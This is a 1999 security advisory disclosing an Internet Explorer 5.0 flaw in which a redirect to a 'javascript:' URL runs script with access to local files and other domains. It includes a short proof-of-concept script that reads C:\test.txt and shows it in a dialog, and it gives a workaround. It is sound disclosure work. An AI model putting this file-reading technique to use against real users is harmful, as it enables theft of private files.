Disclaimer:
The opinions expressed in this advisory and program are my own and
not of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or indirect use
of the information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.
Description:
Internet Explorer 5.0 under Windows 95 and WinNT 4.0 (suppose Win98
is vulnerable)
allows reading local files and text/HTML files from any domain. Window
spoofing is possible.
It is also possible in some cases to read files behind fiewall.
Details:
The problem is a HTTP redirect to "javascript:" URLs.
If you open a local file and the change its location to an URL that
redirects to "javascript:JavaScript code"
then the JavaScript code is executed in the security context of the
original local file and has access to its DOM.
The local file may be sent to an arbitrary server.
In a similar way one may do window spoofing.
This vulnerability may be exploited using HTML email message or a newsgroup
posting.
The code is:
----------------------------------------------------------------------------------------
<SCRIPT>
alert("Create a short text file C:\\TEST.TXT and it will be read and
shown in a dialog box");
a=window.open("file://c:/test.txt");
a.location="http://www.guninski.com/reject.cgi?jsredir1";
</SCRIPT>
// "http://www.guninski.com/reject.cgi?jsredir1" just does a HTTP redirect
to: "javascript:alert(document.body.innerText)"
----------------------------------------------------------------------------------------
Workaround:
Disable Active Scripting
Demonstration is available at jsredir1.html
Copyright 1999 Georgi Guninski